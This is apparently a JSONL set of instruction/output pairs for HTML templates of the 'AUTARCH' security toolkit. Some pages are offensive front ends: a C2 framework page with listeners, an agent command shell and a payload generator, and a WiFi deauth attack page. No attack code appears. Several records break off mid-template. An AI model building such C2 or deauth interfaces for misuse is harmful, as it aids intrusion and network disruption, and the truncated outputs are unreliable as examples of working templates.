{"instruction": "Create an AUTARCH web template for the 'Ble Scanner' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: ble_scanner.html\nSections: 7\nTabs: 1\nForms/API calls: 0\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}AUTARCH — BLE Scanner{% endblock %}\n{% block content %}\n<div class=\"page-header\">\n <h1>BLE Scanner</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n Bluetooth Low Energy device discovery, service enumeration, and characteristic inspection.\n </p>\n</div>\n\n<!-- Tab Bar -->\n<div class=\"tab-bar\">\n <button class=\"tab active\" data-tab-group=\"ble\" data-tab=\"scan\" onclick=\"showTab('ble','scan')\">Scan</button>\n <button class=\"tab\" data-tab-group=\"ble\" data-tab=\"device\" onclick=\"showTab('ble','device')\">Device Detail</button>\n</div>\n\n<!-- ══ Scan Tab ══ -->\n<div class=\"tab-content active\" data-tab-group=\"ble\" data-tab=\"scan\">\n\n <!-- Scan Controls -->\n <div class=\"section\">\n <h2>BLE Scan</h2>\n <div class=\"form-row\" style=\"align-items:flex-end\">\n <div class=\"form-group\" style=\"max-width:160px\">\n <label>Duration (seconds)</label>\n <input type=\"number\" id=\"ble-scan-duration\" value=\"10\" min=\"1\" max=\"60\">\n </div>\n <div class=\"form-group\" style=\"flex:0;margin-bottom:16px\">\n <button id=\"btn-ble-scan\" class=\"btn btn-primary\" onclick=\"bleScan()\">Scan</button>\n </div>\n </div>\n <div style=\"display:flex;align-items:center;gap:8px;margin-bottom:12px\">\n <span class=\"status-dot\" id=\"ble-bleak-dot\"></span>\n <span id=\"ble-bleak-status\" style=\"font-size:0.85rem;color:var(--text-secondary)\">Checking bleak availability...</span>\n </div>\n <div id=\"ble-scan-status\" class=\"progress-text\"></div>\n </div>\n\n <!-- Discovered Devices -->\n <div class=\"section\">\n <h2>Discovered Devices</h2>\n <div class=\"tool-actions\">\n <button class=\"btn btn-small\" onclick=\"bleVulnScan()\">Vuln Scan All</button>\n <button class=\"btn btn-small\" onclick=\"bleSaveScan()\">Save Scan</button>\n <button class=\"btn btn-small\" onclick=\"bleClearDevices()\">Clear</button>\n </div>\n <table class=\"data-table\">\n <thead>\n <tr>\n <th>Address</th>\n <th>Name</th>\n <th>RSSI</th>\n <th>Type</th>\n <th>Manufacturer</th>\n <th>Services</th>\n <th></th>\n </tr>\n </thead>\n <tbody id=\"ble-devices-body\">\n <tr><td colspan=\"7\" class=\"empty-state\">No devices found. Run a scan to discover BLE devices.</td></tr>\n </tbody>\n </table>\n </div>\n\n <!-- Saved Scans -->\n <div class=\"section\">\n <h2>Saved Scans</h2>\n <div class=\"tool-actions\">\n <button class=\"btn btn-small\" onclick=\"bleLoadSavedScans()\">Refresh</button>\n </div>\n <div id=\"ble-saved-scans\">\n <p class=\"empty-state\" style=\"padding:12px;font-size:0.85rem\">No saved scans.</p>\n </div>\n </div>\n</div>\n\n<!-- ══ Device Detail Tab ══ -->\n<div class=\"tab-content\" data-tab-group=\"ble\" data-tab=\"device\">\n\n <!-- Device Selector -->\n <div class=\"section\">\n <h2>Device Connection</h2>\n <div class=\"form-row\" style=\"align-items:flex-end\">\n <div class=\"form-group\" style=\"flex:2\">\n <label>Device</label>\n <select id=\"ble-device-select\">\n <option value=\"\">-- scan for devices first --</option>\n </select>\n </div>\n
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'C2 Framework' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: c2_framework.html\nSections: 0\nTabs: 2\nForms/API calls: 11\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}C2 Framework — AUTARCH{% endblock %}\n{% block content %}\n<div class=\"page-header\">\n <h1>C2 Framework</h1>\n <p class=\"text-muted\">Command & Control — listeners, agents, task queue</p>\n</div>\n\n<div class=\"tabs\">\n <button class=\"tab active\" onclick=\"switchTab('dashboard')\">Dashboard</button>\n <button class=\"tab\" onclick=\"switchTab('agents')\">Agents <span id=\"agent-badge\" class=\"badge\" style=\"display:none\">0</span></button>\n <button class=\"tab\" onclick=\"switchTab('generate')\">Generate</button>\n</div>\n\n<!-- Dashboard -->\n<div id=\"tab-dashboard\" class=\"tab-content active\">\n <div style=\"display:grid;grid-template-columns:1fr 1fr;gap:1rem\">\n <div class=\"card\">\n <h3>Listeners</h3>\n <div style=\"display:flex;gap:0.5rem;align-items:end;margin-bottom:1rem\">\n <input type=\"text\" id=\"ls-name\" class=\"form-control\" placeholder=\"name\" style=\"width:120px\">\n <input type=\"number\" id=\"ls-port\" class=\"form-control\" placeholder=\"4444\" value=\"4444\" style=\"width:100px\">\n <button class=\"btn btn-primary btn-sm\" onclick=\"startListener()\">Start</button>\n </div>\n <div id=\"listeners-list\"></div>\n </div>\n <div class=\"card\">\n <h3>Active Agents</h3>\n <div id=\"dash-agents\"></div>\n </div>\n </div>\n <div class=\"card\" style=\"margin-top:1rem\">\n <h3>Recent Tasks</h3>\n <div id=\"dash-tasks\"></div>\n </div>\n</div>\n\n<!-- Agents -->\n<div id=\"tab-agents\" class=\"tab-content\" style=\"display:none\">\n <div id=\"agent-list\"></div>\n <!-- Agent Interaction -->\n <div id=\"agent-shell\" class=\"card\" style=\"margin-top:1rem;display:none\">\n <div style=\"display:flex;justify-content:space-between;align-items:center\">\n <h3>Agent: <span id=\"shell-agent-id\" style=\"color:var(--accent)\"></span></h3>\n <div>\n <button class=\"btn btn-sm\" onclick=\"agentSysinfo()\">Sysinfo</button>\n <button class=\"btn btn-sm\" style=\"color:var(--danger)\" onclick=\"document.getElementById('agent-shell').style.display='none'\">Close</button>\n </div>\n </div>\n <div id=\"agent-output\" style=\"background:#0a0a0a;color:#0f0;font-family:monospace;font-size:0.8rem;\n padding:1rem;border-radius:var(--radius);height:350px;overflow-y:auto;white-space:pre-wrap;margin:0.5rem 0\"></div>\n <div style=\"display:flex;gap:0.5rem\">\n <input type=\"text\" id=\"agent-cmd\" class=\"form-control\" placeholder=\"Command...\" style=\"font-family:monospace\"\n onkeypress=\"if(event.key==='Enter')agentExec()\">\n <button class=\"btn btn-primary\" onclick=\"agentExec()\">Run</button>\n </div>\n </div>\n</div>\n\n<!-- Generate -->\n<div id=\"tab-generate\" class=\"tab-content\" style=\"display:none\">\n <div class=\"card\" style=\"max-width:700px\">\n <h3>Generate Agent Payload</h3>\n <div style=\"display:grid;grid-template-columns:1fr 1fr;gap:0.5rem\">\n <div class=\"form-group\"><label>Callback Host</label>\n <input type=\"text\" id=\"gen-host\" class=\"form-control\" placeholder=\"your-ip\"></div>\n <div class=\"form-group\"><label>Callback Port</label>\n <input type=\"number\" id=\"gen-port\" class=\"form-control\" value=\"4444\"></div>\n <div class=\"form-group\"><label>Agent Type</label>\n <select id=\"gen-type\" class=\"form-control\">\n <option value=\"python\">Pytho
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Category' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: category.html\nSections: 1\nTabs: 0\nForms/API calls: 0\nHas JavaScript: False", "output": "{% extends \"base.html\" %}\n{% block title %}{{ cat_name }} - AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>{{ cat_name }}</h1>\n</div>\n\n{% if modules %}\n<div class=\"section\">\n <h2>Modules</h2>\n <ul class=\"module-list\">\n {% for name, info in modules.items() %}\n <li class=\"module-item\">\n <div>\n <div class=\"module-name\">{{ name }}</div>\n <div class=\"module-desc\">{{ info.description }}</div>\n </div>\n <div class=\"module-meta\">v{{ info.version }} by {{ info.author }}</div>\n </li>\n {% endfor %}\n </ul>\n</div>\n{% else %}\n<div class=\"empty-state\">No modules in this category.</div>\n{% endif %}\n{% endblock %}\n", "type": "template_creation", "source_file": "web/templates/category.html"}
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Cloud Scan' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: cloud_scan.html\nSections: 4\nTabs: 2\nForms/API calls: 0\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}AUTARCH — Cloud Security{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>Cloud Security Scanner</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n Discover exposed cloud storage buckets, misconfigured services, and enumerate subdomains.\n </p>\n</div>\n\n<!-- Tab Bar -->\n<div class=\"tab-bar\">\n <button class=\"tab active\" data-tab-group=\"cloud\" data-tab=\"buckets\" onclick=\"showTab('cloud','buckets')\">Buckets</button>\n <button class=\"tab\" data-tab-group=\"cloud\" data-tab=\"services\" onclick=\"showTab('cloud','services')\">Services</button>\n <button class=\"tab\" data-tab-group=\"cloud\" data-tab=\"subdomains\" onclick=\"showTab('cloud','subdomains')\">Subdomains</button>\n</div>\n\n<!-- ==================== BUCKETS TAB ==================== -->\n<div class=\"tab-content active\" data-tab-group=\"cloud\" data-tab=\"buckets\">\n\n<div class=\"section\">\n <h2>Bucket Discovery</h2>\n <p style=\"font-size:0.8rem;color:var(--text-muted);margin-bottom:12px\">\n Search for publicly accessible cloud storage buckets by keyword or company name.\n </p>\n <div class=\"form-row\" style=\"margin-bottom:12px\">\n <div class=\"form-group\">\n <label>Keyword / Company Name</label>\n <input type=\"text\" id=\"cloud-bucket-keyword\" placeholder=\"e.g. acme-corp, staging, backups\">\n </div>\n </div>\n <div style=\"margin-bottom:12px\">\n <span style=\"font-size:0.85rem;color:var(--text-secondary);margin-right:12px\">Providers:</span>\n <label style=\"margin-right:12px;font-size:0.85rem;color:var(--text-primary);cursor:pointer\">\n <input type=\"checkbox\" id=\"cloud-prov-aws\" checked style=\"margin-right:4px\"> AWS S3\n </label>\n <label style=\"margin-right:12px;font-size:0.85rem;color:var(--text-primary);cursor:pointer\">\n <input type=\"checkbox\" id=\"cloud-prov-gcs\" checked style=\"margin-right:4px\"> Google Cloud Storage\n </label>\n <label style=\"margin-right:12px;font-size:0.85rem;color:var(--text-primary);cursor:pointer\">\n <input type=\"checkbox\" id=\"cloud-prov-azure\" checked style=\"margin-right:4px\"> Azure Blob\n </label>\n </div>\n <div class=\"tool-actions\" style=\"margin-bottom:12px\">\n <button id=\"btn-bucket-scan\" class=\"btn btn-primary\" onclick=\"cloudBucketScan()\">Scan Buckets</button>\n <span id=\"cloud-bucket-status\" style=\"font-size:0.8rem;color:var(--text-muted);margin-left:12px\"></span>\n </div>\n <table class=\"data-table\">\n <thead><tr><th>Bucket Name</th><th>Provider</th><th>Status</th><th>Public</th><th>Listable</th></tr></thead>\n <tbody id=\"cloud-bucket-results\">\n <tr><td colspan=\"5\" class=\"empty-state\">Enter a keyword and click Scan to discover buckets.</td></tr>\n </tbody>\n </table>\n</div>\n\n</div>\n\n<!-- ==================== SERVICES TAB ==================== -->\n<div class=\"tab-content\" data-tab-group=\"cloud\" data-tab=\"services\">\n\n<div class=\"section\">\n <h2>Exposed Services Scanner</h2>\n <p style=\"font-size:0.8rem;color:var(--text-muted);margin-bottom:8px\">\n Probe a target URL for commonly exposed cloud services, admin panels, and metadata endpoints.\n </p>\n <div class=\"input-row\">\n <input type=\"text\" id=\"cloud-svc-url\" placeholder=\"Target URL (e.g. https://example.com)\">\n <button id=\"btn-svc-scan\" class=\"btn btn-primary\" onclick=\"cloudServiceScan()\">Scan Services</button>\n </div>\n <table class=\"data-table\" style=\"margin-bottom:20px\">\n
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Container Sec' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: container_sec.html\nSections: 13\nTabs: 2\nForms/API calls: 0\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}AUTARCH — Container Security{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>Container Security</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n Docker auditing, Kubernetes assessment, container image scanning, escape detection, and Dockerfile linting.\n </p>\n</div>\n\n<!-- Tool Status -->\n<div class=\"section\" style=\"padding:12px 16px;display:flex;gap:24px;align-items:center;flex-wrap:wrap\">\n <span id=\"cs-docker-status\" style=\"font-size:0.85rem;color:var(--text-muted)\">Docker: checking...</span>\n <span id=\"cs-kubectl-status\" style=\"font-size:0.85rem;color:var(--text-muted)\">kubectl: checking...</span>\n <button class=\"btn btn-small\" onclick=\"csCheckStatus()\" style=\"margin-left:auto\">Refresh Status</button>\n</div>\n\n<!-- Tab Bar -->\n<div class=\"tab-bar\">\n <button class=\"tab active\" data-tab-group=\"cs\" data-tab=\"docker\" onclick=\"showTab('cs','docker')\">Docker</button>\n <button class=\"tab\" data-tab-group=\"cs\" data-tab=\"k8s\" onclick=\"showTab('cs','k8s')\">Kubernetes</button>\n <button class=\"tab\" data-tab-group=\"cs\" data-tab=\"imgscan\" onclick=\"showTab('cs','imgscan')\">Image Scan</button>\n</div>\n\n<!-- ==================== DOCKER TAB ==================== -->\n<div class=\"tab-content active\" data-tab-group=\"cs\" data-tab=\"docker\">\n\n<!-- Docker Host Audit -->\n<div class=\"section\">\n <h2>Docker Host Audit</h2>\n <div class=\"tool-actions\">\n <button id=\"btn-docker-audit\" class=\"btn btn-primary\" onclick=\"csDockerAudit()\">Audit Docker Host</button>\n </div>\n <table class=\"data-table\">\n <thead><tr><th>Check</th><th>Severity</th><th>Status</th><th>Detail</th></tr></thead>\n <tbody id=\"cs-docker-audit-results\">\n <tr><td colspan=\"4\" class=\"empty-state\">Click \"Audit Docker Host\" to check daemon configuration and security.</td></tr>\n </tbody>\n </table>\n</div>\n\n<!-- Containers -->\n<div class=\"section\">\n <h2>Containers</h2>\n <div class=\"tool-actions\">\n <button id=\"btn-list-containers\" class=\"btn btn-small\" onclick=\"csListContainers()\">Refresh Containers</button>\n </div>\n <table class=\"data-table\">\n <thead><tr><th>Name</th><th>Image</th><th>Status</th><th>Ports</th><th style=\"width:180px\">Actions</th></tr></thead>\n <tbody id=\"cs-containers-list\">\n <tr><td colspan=\"5\" class=\"empty-state\">Click \"Refresh Containers\" to list Docker containers.</td></tr>\n </tbody>\n </table>\n</div>\n\n<!-- Container Audit Results -->\n<div class=\"section\" id=\"cs-container-audit-section\" style=\"display:none\">\n <h2>Container Audit — <span id=\"cs-container-audit-name\"></span></h2>\n <div style=\"display:flex;gap:24px;align-items:flex-start;flex-wrap:wrap\">\n <div class=\"score-display\">\n <div class=\"score-value\" id=\"cs-container-score\">--</div>\n <div class=\"score-label\">Security Score</div>\n </div>\n <div style=\"flex:1;min-width:300px\">\n <table class=\"data-table\">\n <thead><tr><th>Check</th><th>Status</th><th>Detail</th></tr></thead>\n <tbody id=\"cs-container-audit-results\"></tbody>\n </table>\n </div>\n </div>\n</div>\n\n<!-- Escape Vector Results -->\n<div class=\"section\" id=\"cs-escape-section\" style=\"display:none\">\n <h2>Escape Vectors — <span id=\"cs-escape-name\"></span></h2>\n <div style=\"display:flex;gap:24px;align-items:flex-start;flex-wrap:wrap;margin-bottom:12px\">\n <div class=\"score-display\">\n
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Counter' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: counter.html\nSections: 4\nTabs: 0\nForms/API calls: 0\nHas JavaScript: False", "output": "{% extends \"base.html\" %}\n{% block title %}Counter Intelligence - AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>Counter Intelligence</h1>\n</div>\n\n<!-- Full Threat Scan -->\n<div class=\"section\">\n <h2>Full Threat Scan</h2>\n <div class=\"tool-actions\">\n <button id=\"btn-scan\" class=\"btn btn-primary\" onclick=\"runCounterScan()\">Run Scan</button>\n </div>\n <div id=\"scan-summary\" style=\"font-size:0.9rem;color:var(--text-secondary);margin-bottom:8px\"></div>\n <div id=\"scan-results\">\n <div class=\"empty-state\">Click \"Run Scan\" to check for threats.</div>\n </div>\n</div>\n\n<!-- Quick Checks -->\n<div class=\"section\">\n <h2>Quick Checks</h2>\n <div class=\"tool-grid\">\n <div class=\"tool-card\">\n <h4>Suspicious Processes</h4>\n <p>Scan for known malicious process names</p>\n <button class=\"btn btn-small\" onclick=\"runCounterCheck('processes')\">Run</button>\n <pre class=\"output-panel tool-result\" id=\"counter-result-processes\"></pre>\n </div>\n <div class=\"tool-card\">\n <h4>Network Analysis</h4>\n <p>Check for suspicious connections</p>\n <button class=\"btn btn-small\" onclick=\"runCounterCheck('network')\">Run</button>\n <pre class=\"output-panel tool-result\" id=\"counter-result-network\"></pre>\n </div>\n <div class=\"tool-card\">\n <h4>Login Anomalies</h4>\n <p>Quick failed login check</p>\n <button class=\"btn btn-small\" onclick=\"runCounterCheck('logins')\">Run</button>\n <pre class=\"output-panel tool-result\" id=\"counter-result-logins\"></pre>\n </div>\n <div class=\"tool-card\">\n <h4>File Integrity</h4>\n <p>Check recently modified critical files</p>\n <button class=\"btn btn-small\" onclick=\"runCounterCheck('integrity')\">Run</button>\n <pre class=\"output-panel tool-result\" id=\"counter-result-integrity\"></pre>\n </div>\n <div class=\"tool-card\">\n <h4>Scheduled Tasks</h4>\n <p>Check cron jobs for suspicious commands</p>\n <button class=\"btn btn-small\" onclick=\"runCounterCheck('tasks')\">Run</button>\n <pre class=\"output-panel tool-result\" id=\"counter-result-tasks\"></pre>\n </div>\n <div class=\"tool-card\">\n <h4>Rootkit Detection</h4>\n <p>Basic rootkit and hidden process checks</p>\n <button class=\"btn btn-small\" onclick=\"runCounterCheck('rootkits')\">Run</button>\n <pre class=\"output-panel tool-result\" id=\"counter-result-rootkits\"></pre>\n </div>\n </div>\n</div>\n\n<!-- Login Analysis -->\n<div class=\"section\">\n <h2>Login Analysis</h2>\n <p style=\"font-size:0.85rem;color:var(--text-secondary);margin-bottom:12px\">Detailed failed login analysis with GeoIP enrichment (top 15 IPs)</p>\n <div class=\"tool-actions\">\n <button id=\"btn-logins\" class=\"btn btn-primary\" onclick=\"loadLogins()\">Analyze Logins</button>\n </div>\n <div id=\"login-results\">\n <div class=\"empty-state\">Click \"Analyze Logins\" to view failed login attempts.</div>\n </div>\n</div>\n\n{% if modules %}\n<div class=\"section\">\n <h2>Counter Modules</h2>\n <ul class=\"module-list\">\n {% for name, info in modules.items() %}\n <li class=\"module-item\">\n <div>\n <div class=\"module-name\">{{ name }}</div>\n <div class=\"module-desc\">{{ info.description }}</div>\n </div>\n <div class=\"module-meta\">v{{ info.version }}</div>\n
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Dashboard' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: dashboard.html\nSections: 2\nTabs: 0\nForms/API calls: 0\nHas JavaScript: False", "output": "{% extends \"base.html\" %}\n{% block title %}Dashboard - AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>Dashboard</h1>\n</div>\n\n<div class=\"stats-grid\">\n <div class=\"stat-card\">\n <div class=\"stat-label\">Modules</div>\n <div class=\"stat-value\">{{ modules.get('total', 0) }}</div>\n </div>\n <div class=\"stat-card\">\n <div class=\"stat-label\">LLM Backend</div>\n <div class=\"stat-value small\">{{ llm_backend }}</div>\n </div>\n <div class=\"stat-card\">\n <div class=\"stat-label\">Hostname</div>\n <div class=\"stat-value small\">{{ system.hostname }}</div>\n </div>\n <div class=\"stat-card\">\n <div class=\"stat-label\">Uptime</div>\n <div class=\"stat-value small\">{{ system.uptime }}</div>\n </div>\n</div>\n\n<div class=\"category-grid\">\n <a href=\"{{ url_for('defense.index') }}\" class=\"category-card cat-defense\">\n <h3>Defense</h3>\n <p>System hardening, audits, monitoring</p>\n <span class=\"badge\">{{ modules.get('defense', 0) }} modules</span>\n </a>\n <a href=\"{{ url_for('offense.index') }}\" class=\"category-card cat-offense\">\n <h3>Offense</h3>\n <p>Penetration testing, Metasploit</p>\n <span class=\"badge\">{{ modules.get('offense', 0) }} modules</span>\n </a>\n <a href=\"{{ url_for('counter.index') }}\" class=\"category-card cat-counter\">\n <h3>Counter</h3>\n <p>Threat hunting, anomaly detection</p>\n <span class=\"badge\">{{ modules.get('counter', 0) }} modules</span>\n </a>\n <a href=\"{{ url_for('analyze.index') }}\" class=\"category-card cat-analyze\">\n <h3>Analyze</h3>\n <p>Forensics, file analysis</p>\n <span class=\"badge\">{{ modules.get('analyze', 0) }} modules</span>\n </a>\n <a href=\"{{ url_for('osint.index') }}\" class=\"category-card cat-osint\">\n <h3>OSINT</h3>\n <p>Reconnaissance, username search</p>\n <span class=\"badge\">{{ modules.get('osint', 0) }} modules</span>\n </a>\n <a href=\"{{ url_for('simulate.index') }}\" class=\"category-card cat-simulate\">\n <h3>Simulate</h3>\n <p>Attack simulation, red team</p>\n <span class=\"badge\">{{ modules.get('simulate', 0) }} modules</span>\n </a>\n <a href=\"{{ url_for('hardware.index') }}\" class=\"category-card cat-hardware\">\n <h3>Hardware</h3>\n <p>ADB, Fastboot, ESP32 flashing</p>\n <span class=\"badge\">{{ modules.get('hardware', 0) }} modules</span>\n </a>\n</div>\n\n<div class=\"section\">\n <h2>System Tools</h2>\n <table class=\"data-table\">\n <thead><tr><th>Tool</th><th>Status</th></tr></thead>\n <tbody>\n {% for tool, available in tools.items() %}\n <tr>\n <td>{{ tool }}</td>\n <td><span class=\"status-dot {{ 'active' if available else 'inactive' }}\"></span>{{ 'Available' if available else 'Not found' }}</td>\n </tr>\n {% endfor %}\n </tbody>\n </table>\n</div>\n\n<div class=\"section\">\n <h2>System Info</h2>\n <table class=\"data-table\">\n <tbody>\n <tr><td>Platform</td><td>{{ system.platform }}</td></tr>\n <tr><td>Architecture</td><td>{{ system.arch }}</td></tr>\n <tr><td>Python</td><td>{{ system.python }}</td></tr>\n <tr><td>IP</td><td>{{ system.ip }}</td></tr>\n <tr><td>UPnP</td><td><span class=\"status-dot {{ 'active' if upnp_enabled else 'inactive' }}\"></span>{{ 'Enabled' if upnp_enabled else 'Disabled' }}</td></tr>\n </tbody>\n </table>\n</div>\n{% endblock %}\n", "type": "template_creation", "source_file": "web/templates/dashboard.html"}
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Deauth' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: deauth.html\nSections: 9\nTabs: 2\nForms/API calls: 1\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}Deauth Attack - AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\" style=\"display:flex;align-items:center;gap:1rem;flex-wrap:wrap\">\n <div>\n <h1 style=\"color:var(--danger)\">Deauth Attack</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n WiFi deauthentication — targeted & broadcast attacks, continuous mode, channel hopping.\n </p>\n </div>\n <a href=\"{{ url_for('offense.index') }}\" class=\"btn btn-sm\" style=\"margin-left:auto\">← Offense</a>\n</div>\n\n<!-- Tab Bar -->\n<div class=\"tab-bar\">\n <button class=\"tab active\" data-tab-group=\"deauth\" data-tab=\"targets\" onclick=\"showTab('deauth','targets')\">Targets</button>\n <button class=\"tab\" data-tab-group=\"deauth\" data-tab=\"attack\" onclick=\"showTab('deauth','attack')\">Attack</button>\n <button class=\"tab\" data-tab-group=\"deauth\" data-tab=\"monitor\" onclick=\"showTab('deauth','monitor')\">Monitor</button>\n</div>\n\n<!-- ==================== TARGETS TAB ==================== -->\n<div class=\"tab-content active\" data-tab-group=\"deauth\" data-tab=\"targets\">\n\n<div class=\"section\">\n <h2>Wireless Interfaces</h2>\n <div class=\"tool-actions\" style=\"display:flex;gap:8px;flex-wrap:wrap;align-items:center\">\n <button id=\"btn-da-refresh\" class=\"btn btn-small\" onclick=\"daRefreshIfaces()\">Refresh Interfaces</button>\n <button id=\"btn-da-mon-on\" class=\"btn btn-primary btn-small\" onclick=\"daMonitorOn()\">Enable Monitor</button>\n <button id=\"btn-da-mon-off\" class=\"btn btn-danger btn-small\" onclick=\"daMonitorOff()\">Disable Monitor</button>\n </div>\n <div class=\"form-group\" style=\"max-width:320px;margin-top:12px\">\n <label>Selected Interface</label>\n <select id=\"da-iface-select\">\n <option value=\"\">-- click Refresh --</option>\n </select>\n </div>\n <table class=\"data-table\" style=\"font-size:0.85rem\">\n <thead><tr><th>Interface</th><th>Mode</th><th>Channel</th><th>MAC</th></tr></thead>\n <tbody id=\"da-iface-table\">\n <tr><td colspan=\"4\" class=\"empty-state\">Click Refresh to list wireless interfaces.</td></tr>\n </tbody>\n </table>\n</div>\n\n<div class=\"section\">\n <h2>Scan Networks</h2>\n <div class=\"input-row\" style=\"display:flex;gap:8px;align-items:flex-end;flex-wrap:wrap\">\n <div class=\"form-group\" style=\"max-width:160px\">\n <label>Duration (sec)</label>\n <input type=\"number\" id=\"da-scan-dur\" value=\"10\" min=\"3\" max=\"120\">\n </div>\n <button id=\"btn-da-scan-net\" class=\"btn btn-primary\" onclick=\"daScanNetworks()\">Scan Networks</button>\n </div>\n <table class=\"data-table\" style=\"font-size:0.85rem\">\n <thead>\n <tr>\n <th>SSID</th><th>BSSID</th><th>Channel</th>\n <th>Encryption</th><th>Signal</th><th>Clients</th><th></th>\n </tr>\n </thead>\n <tbody id=\"da-net-table\">\n <tr><td colspan=\"7\" class=\"empty-state\">No networks scanned yet.</td></tr>\n </tbody>\n </table>\n</div>\n\n<div class=\"section\" id=\"da-clients-section\" style=\"display:none\">\n <h2>Scan Clients</h2>\n <div style=\"margin-bottom:8px;font-size:0.85rem;color:var(--text-secondary)\">\n Target AP: <strong id=\"da-clients-ap\">—</strong>\n </div>\n <div class=\"input-row\" style=\"display:flex;gap:8px;align-items:flex-end;flex-wrap:wrap\">\n <div class=\"form-group\" style=\"max-width:160px\">\n <label>Duration (sec)</label>\n <input type=\"
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Defense' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: defense.html\nSections: 3\nTabs: 0\nForms/API calls: 0\nHas JavaScript: False", "output": "{% extends \"base.html\" %}\n{% block title %}Defense - AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>System Defense</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n Security hardening, firewall management, and threat monitoring.\n </p>\n</div>\n\n<!-- Platform Info -->\n<div class=\"section\">\n <h2>System Overview</h2>\n <table class=\"data-table\" style=\"max-width:500px\">\n <tbody>\n <tr><td>Platform</td><td><strong>{{ sys_info.platform }}</strong></td></tr>\n <tr><td>Hostname</td><td>{{ sys_info.hostname }}</td></tr>\n <tr><td>OS</td><td>{{ sys_info.os_version }}</td></tr>\n <tr><td>IP</td><td>{{ sys_info.ip }}</td></tr>\n </tbody>\n </table>\n</div>\n\n<!-- Sub-page Cards -->\n<div class=\"section\">\n <h2>Defense Tools</h2>\n <div class=\"tool-grid\">\n <div class=\"tool-card\">\n <h4>Linux Defense</h4>\n <p>iptables firewall, SSH hardening, systemd services, auth logs, SELinux/AppArmor checks.</p>\n <a href=\"{{ url_for('defense.linux_index') }}\" class=\"btn btn-primary btn-small\">Open</a>\n </div>\n <div class=\"tool-card\">\n <h4>Windows Defense</h4>\n <p>Windows Firewall, UAC, Defender AV, event logs, OpenSSH, services, NTFS permissions.</p>\n <a href=\"{{ url_for('defense.windows_index') }}\" class=\"btn btn-primary btn-small\">Open</a>\n </div>\n <div class=\"tool-card\" style=\"border-color:var(--danger)\">\n <h4 style=\"color:var(--danger)\">Threat Monitor</h4>\n <p>Real-time connection monitoring, port scan detection, suspicious process alerts, and counter-attack tools.</p>\n <a href=\"{{ url_for('defense.monitor_index') }}\" class=\"btn btn-danger btn-small\">Open</a>\n </div>\n </div>\n</div>\n\n{% if modules %}\n<div class=\"section\">\n <h2>Defense Modules</h2>\n <ul class=\"module-list\">\n {% for name, info in modules.items() %}\n <li class=\"module-item\">\n <div>\n <div class=\"module-name\">{{ name }}</div>\n <div class=\"module-desc\">{{ info.description }}</div>\n </div>\n <div class=\"module-meta\">v{{ info.version }}</div>\n </li>\n {% endfor %}\n </ul>\n</div>\n{% endif %}\n{% endblock %}\n", "type": "template_creation", "source_file": "web/templates/defense.html"}
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Defense Linux' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: defense_linux.html\nSections: 0\nTabs: 0\nForms/API calls: 0\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}Linux Defense — AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\" style=\"display:flex;align-items:center;gap:1rem;flex-wrap:wrap\">\n <div>\n <h1>Linux Defense</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n System hardening, iptables firewall management, and log analysis\n </p>\n </div>\n <a href=\"{{ url_for('defense.index') }}\" class=\"btn btn-sm\" style=\"margin-left:auto\">← Defense</a>\n</div>\n\n<!-- Security Audit -->\n<div class=\"card\">\n <div style=\"display:flex;align-items:center;justify-content:space-between;margin-bottom:1rem;flex-wrap:wrap;gap:0.5rem\">\n <h3 style=\"margin:0\">Security Audit</h3>\n <button id=\"btn-audit\" class=\"btn btn-primary btn-sm\" onclick=\"linuxRunAudit()\">Run Full Audit</button>\n </div>\n <div 